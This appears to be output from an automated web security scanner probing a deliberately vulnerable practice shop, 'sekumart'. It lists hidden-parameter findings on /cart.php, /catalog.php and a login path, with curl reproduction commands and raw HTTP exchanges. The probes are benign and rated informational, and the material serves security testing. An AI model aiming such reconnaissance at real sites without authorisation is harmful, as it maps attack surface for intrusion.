This endpoint is reachable with no query string and advertises no input, but data, src, dir, lang, view, redirect, returnTo, return_url changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/cart.php confirmed together yes
Undeclared parameter accepted by /cart.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but fileName, path, email, token, action, value, type, key changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/cart.php confirmed together yes
Undeclared parameter accepted by /cart.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but callback, file, url, name, search, query, page, filename changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/cart.php confirmed together yes
Undeclared parameter accepted by /cart.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but next, target, dest, comment, message, text, content, title changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/cart.php confirmed together yes
Undeclared parameter accepted by /cart.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but host, ip, cmd, fetch, load, refresh, all, expand changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/cart.php confirmed together yes
Undeclared parameter accepted by /cart.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but template, include, download, format, mode, state, code, session changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/cart.php confirmed together yes
Undeclared parameter accepted by /cart.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but fields, full changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/cart.php confirmed together yes

GET/catalog.php Input handling on /catalog.php unconfirmed · medium confidence BV-009 info

Evidence. This endpoint is reachable with no query string and advertises no input, but c, l, cat, id, q, sort, order, user changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

How to fix. No action.

What we verified The parameter's response to punctuation was measured.

What this can lead toNothing on its own; this is how the run decided what to test next. Assessment boundary: Recorded for coverage.

How to fixNo action.

location: GET https://sekumart.sekuripy.hr/catalog.php
authentication: none - reachable anonymously (policy-wide; not tied to one surface)

Decisive evidence

Undeclared parameter accepted by /catalog.php unconfirmed

This endpoint is reachable with no query string and advertises no input, but c, l, cat, id, q, sort, order, user changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url

https://sekumart.sekuripy.hr/catalog.php

confirmed together

yes

Additional corroboration — 8

Undeclared parameter accepted by /catalog.php
This endpoint is reachable with no query string and advertises no input, but data, src, dir, lang, view, redirect, returnTo, return_url changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.
Undeclared parameter accepted by /catalog.php
This endpoint is reachable with no query string and advertises no input, but fields, full changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.
Undeclared parameter accepted by /catalog.php
This endpoint is reachable with no query string and advertises no input, but template, include, download, format, mode, state, code, session changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.
Undeclared parameter accepted by /catalog.php
This endpoint is reachable with no query string and advertises no input, but next, target, dest, comment, message, text, content, title changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.
Undeclared parameter accepted by /catalog.php
This endpoint is reachable with no query string and advertises no input, but callback, file, url, name, search, query, page, filename changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.
Undeclared parameter accepted by /catalog.php
This endpoint is reachable with no query string and advertises no input, but p, flag, username, password, add, product_id, author, body changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.
Undeclared parameter accepted by /catalog.php
This endpoint is reachable with no query string and advertises no input, but host, ip, cmd, fetch, load, refresh, all, expand changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.
Undeclared parameter accepted by /catalog.php
This endpoint is reachable with no query string and advertises no input, but fileName, path, email, token, action, value, type, key changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

Reproduce

request GET https://sekumart.sekuripy.hr/catalog.php?c=1&l=1&cat=1&id=1&q=1&sort=1&order=1&user=1 bytes
request GET https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 bytes
request GET https://sekumart.sekuripy.hr/catalog.php?fields=1&full=true bytes
request GET https://sekumart.sekuripy.hr/catalog.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 bytes
request GET https://sekumart.sekuripy.hr/catalog.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=1&title=1 bytes
request GET https://sekumart.sekuripy.hr/catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1 bytes

control

curl -i -X GET 'https://sekumart.sekuripy.hr/catalog.php?sksnotaparam=1'

GET /catalog.php?sksnotaparam=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/catalog.php

request

GET /catalog.php HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2092
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:45 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (10)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/cata

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/catalog.php

request

GET /catalog.php HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2092
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:45 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (10)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/cata

control HTTP 200 https://sekumart.sekuripy.hr/catalog.php?sksnotaparam=1

request

GET /catalog.php?sksnotaparam=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2092
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:45 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (10)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/cata

drop0 HTTP 200 https://sekumart.sekuripy.hr/catalog.php?l=1&cat=1&id=1&q=1&sort=1&order=1&user=1

request

GET /catalog.php?l=1&cat=1&id=1&q=1&sort=1&order=1&user=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2092
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:45 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (10)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/cata

drop1 HTTP 200 https://sekumart.sekuripy.hr/catalog.php?c=1&cat=1&id=1&q=1&sort=1&order=1&user=1

request

GET /catalog.php?c=1&cat=1&id=1&q=1&sort=1&order=1&user=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2092
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:45 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (10)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/cata

drop2 HTTP 200 https://sekumart.sekuripy.hr/catalog.php?c=1&l=1&id=1&q=1&sort=1&order=1&user=1

request

GET /catalog.php?c=1&l=1&id=1&q=1&sort=1&order=1&user=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2092
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:45 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (10)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/cata

Detection details — how this was found and rated

checks: recon/param_mining
rating basis: P5 - the endpoint reacts to a parameter it never advertised - attack surface, and the class stays triage because this is the same bookkeeping about parameters, not a weakness of its own
class: triage recon

All supporting observations

Undeclared parameter accepted by /catalog.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but c, l, cat, id, q, sort, order, user changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/catalog.php confirmed together yes
Undeclared parameter accepted by /catalog.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but data, src, dir, lang, view, redirect, returnTo, return_url changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/catalog.php confirmed together yes
Undeclared parameter accepted by /catalog.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but fields, full changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/catalog.php confirmed together yes
Undeclared parameter accepted by /catalog.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but template, include, download, format, mode, state, code, session changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/catalog.php confirmed together yes
Undeclared parameter accepted by /catalog.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but next, target, dest, comment, message, text, content, title changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/catalog.php confirmed together yes
Undeclared parameter accepted by /catalog.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but callback, file, url, name, search, query, page, filename changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/catalog.php confirmed together yes
Undeclared parameter accepted by /catalog.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but p, flag, username, password, add, product_id, author, body changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/catalog.php confirmed together yes
Undeclared parameter accepted by /catalog.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but host, ip, cmd, fetch, load, refresh, all, expand changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/catalog.php confirmed together yes
Undeclared parameter accepted by /catalog.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but fileName, path, email, token, action, value, type, key changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/catalog.php confirmed together yes

GET/sekumart.sekuripy.hr/login.php Input handling on /sekumart.sekuripy.hr/login.php unconfirmed · medium confidence BV-010 info

Evidence. This endpoint is reachable with no query string and advertises no input, but next, target, dest, comment, message, text, content, title changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

How to fix. No action.

What we verified The parameter's response to punctuation was measured.

What this can lead toNothing on its own; this is how the run decided what to test next. Assessment boundary: Recorded for coverage.

How to fixNo action.

location: GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php
authentication: none - reachable anonymously (policy-wide; not tied to one surface)

Decisive evidence

Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php unconfirmed

This endpoint is reachable with no query string and advertises no input, but next, target, dest, comment, message, text, content, title changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url

https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php

confirmed together

yes

Additional corroboration — 8

Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php
This endpoint is reachable with no query string and advertises no input, but template, include, download, format, mode, state, code, session changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.
Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php
This endpoint is reachable with no query string and advertises no input, but callback, file, url, name, search, query, page, filename changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.
Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php
This endpoint is reachable with no query string and advertises no input, but data, src, dir, lang, view, redirect, returnTo, return_url changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.
Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php
This endpoint is reachable with no query string and advertises no input, but fields, full changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.
Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php
This endpoint is reachable with no query string and advertises no input, but fileName, path, email, token, action, value, type, key changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.
Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php
This endpoint is reachable with no query string and advertises no input, but c, l, cat, id, q, sort, order, user changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.
Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php
This endpoint is reachable with no query string and advertises no input, but p, flag, username, password, add, product_id, author, body changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.
Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php
This endpoint is reachable with no query string and advertises no input, but host, ip, cmd, fetch, load, refresh, all, expand changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

Reproduce

request GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=1… bytes
request GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=1&include=1&download=1&format=1&mode=1&state=1… bytes
request GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1… bytes
request GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1… bytes
request GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?fields=1&full=true bytes
request GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?fileName=1&path=1&email=1&token=1&action=1&value=1&type=1… bytes

control

curl -i -X GET 'https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?sksnotaparam=1'

GET /sekumart.sekuripy.hr/login.php?sksnotaparam=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php

request

GET /sekumart.sekuripy.hr/login.php HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2966
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:47 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (10)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href

baseline again, to locate per-request churn HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php

request

GET /sekumart.sekuripy.hr/login.php HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2966
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:47 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

